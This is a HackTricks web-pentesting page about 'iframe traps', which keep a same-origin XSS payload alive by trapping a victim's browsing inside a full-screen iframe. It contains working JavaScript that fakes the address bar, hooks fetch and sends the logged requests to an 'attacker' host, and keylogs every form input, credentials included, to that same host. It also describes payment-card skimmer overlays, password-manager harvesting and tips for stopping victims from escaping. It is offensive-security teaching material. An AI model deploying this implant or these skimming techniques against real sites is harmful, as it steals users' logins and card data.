iframe-traps.md (7872B)
1 --- 2 title: "Iframe Traps" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/iframe-traps.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/iframe-traps.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Iframe Traps 14 15 ## Basic Information 16 17 This technique abuses **same-origin XSS** to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec [here](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) and [here](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).<sup>[[1]](#references)[[2]](#references)</sup> 18 19 The idea is to land the victim on a page vulnerable to XSS and then **trap the rest of their navigation inside a full-page iframe**. If the victim keeps clicking links, submitting forms, and moving through the application **inside the frame**, the original attacker-controlled page stays alive in the top window and can keep collecting data. 20 21 To make the illusion more realistic, the top page can **mirror the iframe path into the browser address bar** with `history.replaceState()` and update the visible UI so the victim believes they are just moving normally across the app. 22 23 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281248%29.png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure> 24 25 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281249%29.png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure> 26 27 Once the user is trapped, the payload can observe **navigation**, **form submissions**, **typed credentials**, **XHR/fetch traffic**, and any **same-origin storage** available to the framed routes. 28 29 The main limitation is still escape: if the victim **closes the tab**, **switches to another URL**, or reaches browser chrome actions that the page cannot suppress, the trap is over. 30 31 ## Practical requirements & limitations 32 33 - The technique is strongest when the victim keeps browsing **same-origin** pages after the initial XSS. If the iframe navigates cross-origin, SOP kills direct DOM access. 34 - `X-Frame-Options: SAMEORIGIN` and `Content-Security-Policy: frame-ancestors 'self'` do **not** stop a same-origin XSS from framing the application itself. `DENY` or `frame-ancestors 'none'` on sensitive routes does. 35 - Modern SPAs often do not perform full page loads. If you only hook `load` and `click`, you will miss most interesting state changes. 36 - Fullscreen is helpful for hiding browser chrome, but it still needs **user activation** and users can usually escape with browser/OS-controlled shortcuts. 37 38 ## Modernised trap (2024+) 39 40 - Use a **full-viewport iframe** and keep the outer URL synchronized with `history.replaceState()`. 41 - For SPA targets, hook **`fetch`**, **`XMLHttpRequest`**, **`pushState`/`replaceState`**, and **form events** inside the framed app. 42 - Prefer a **top-level guard** so the payload does not recursively create new iframes every time the trapped application loads a route that also contains the implant. 43 44 <details> 45 <summary>Full-viewport iframe trap with SPA hooks</summary> 46 47 ```html 48 <script> 49 if (window.top === window.self) { 50 const trap = document.createElement('iframe'); 51 trap.src = '/'; // or another same-origin route inside the application 52 trap.style = 'position:fixed;inset:0;border:0;width:100vw;height:100vh;z-index:2147483647;background:#fff'; 53 document.body.appendChild(trap); 54 55 const sync = u => { 56 const x = new URL(u, location.origin); 57 history.replaceState({}, '', x.pathname + x.search + x.hash); 58 }; 59 60 trap.addEventListener('load', () => { 61 const w = trap.contentWindow; 62 const d = w.document; 63 64 ['click', 'submit', 'popstate', 'hashchange'].forEach(ev => 65 w.addEventListener(ev, () => sync(w.location.href), true) 66 ); 67 68 const oldFetch = w.fetch; 69 w.fetch = (...args) => { 70 fetch('//attacker/log', {method:'POST', body:'fetch=' + encodeURIComponent(args[0])}); 71 return oldFetch.apply(w, args); 72 }; 73 74 d.addEventListener('input', ev => { 75 if (!ev.target.name) return; 76 fetch('//attacker/keys', { 77 method: 'POST', 78 body: new URLSearchParams({ 79 page: w.location.href, 80 name: ev.target.name, 81 value: ev.target.value 82 }) 83 }); 84 }, true); 85 }); 86 } 87 </script> 88 ``` 89 </details> 90 91 - `requestFullscreen({ navigationUI: 'hide' })` can make the fake chrome more convincing, but it only works after a user gesture and should be treated as a short-lived concealment aid, not as a reliable containment boundary. 92 93 ## Overlay & skimmer usage 94 95 - Compromised checkout pages can **hide a legitimate hosted payment iframe and overlay it with a pixel-perfect fake collector** that forwards or replays data while the real payment flow still succeeds.<sup>[[4]](#references)</sup> 96 - A more aggressive variant is to **rewrite the URL of the hosted-field iframe itself** so the browser loads an attacker-controlled frame that proxies the PSP flow and skims PAN/CVV inside the iframe context.<sup>[[4]](#references)</sup> 97 - Trapping users in the top frame is also useful for collecting **autofill/password-manager** data before they notice the real browser URL never changed. 98 99 ## Recent chaining ideas 100 101 - **POST-only reflected XSS** can be upgraded into a usable trap by landing the victim on the poisoned response with CSRF or an auto-submitting form, and then immediately switching into iframe-trap mode so the payload survives after the first POST response.<sup>[[3]](#references)</sup> 102 - **`credentialless` iframe chains** can turn some self-XSS/login-CSRF scenarios into practical account-takeover paths without destroying the victim's live session.<sup>[[3]](#references)</sup> The full details are better covered in [Iframes in XSS, CSP and SOP](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp). 103 104 ## Quick OPSEC tips 105 106 - Re-focusing the iframe when the mouse leaves, disabling the context menu, and re-synchronizing the URL after each route change can slow down casual escape attempts. 107 - Do **not** rely on blocking `Esc`, `F11`, `Ctrl+L`, tab switching, or other browser-owned shortcuts. Some keys may be interceptable in fullscreen/keyboard-lock flows, but browser escape paths generally still win. 108 - If inline JavaScript is blocked by CSP, move the implant into a **same-origin external script**, another **same-origin child route**, or another **same-origin HTML gadget** you can frame. For more iframe/CSP-specific tricks, check [this page](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp). 109 110 ## Related 111 112 [Clickjacking](/hacktricks/pentesting-web/clickjacking) 113 114 [Iframes In Xss And Csp](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp) 115 116 ## References 117 118 - [1] [Persisting XSS with iframe traps](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) 119 - [2] [JS-Tap: Weaponizing JavaScript for Red Teams](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams) 120 - [3] [Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/) 121 - [4] [New Stealth Magecart Attack Bypasses Payment Services Using Iframes](https://www.humansecurity.com/learn/blog/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/)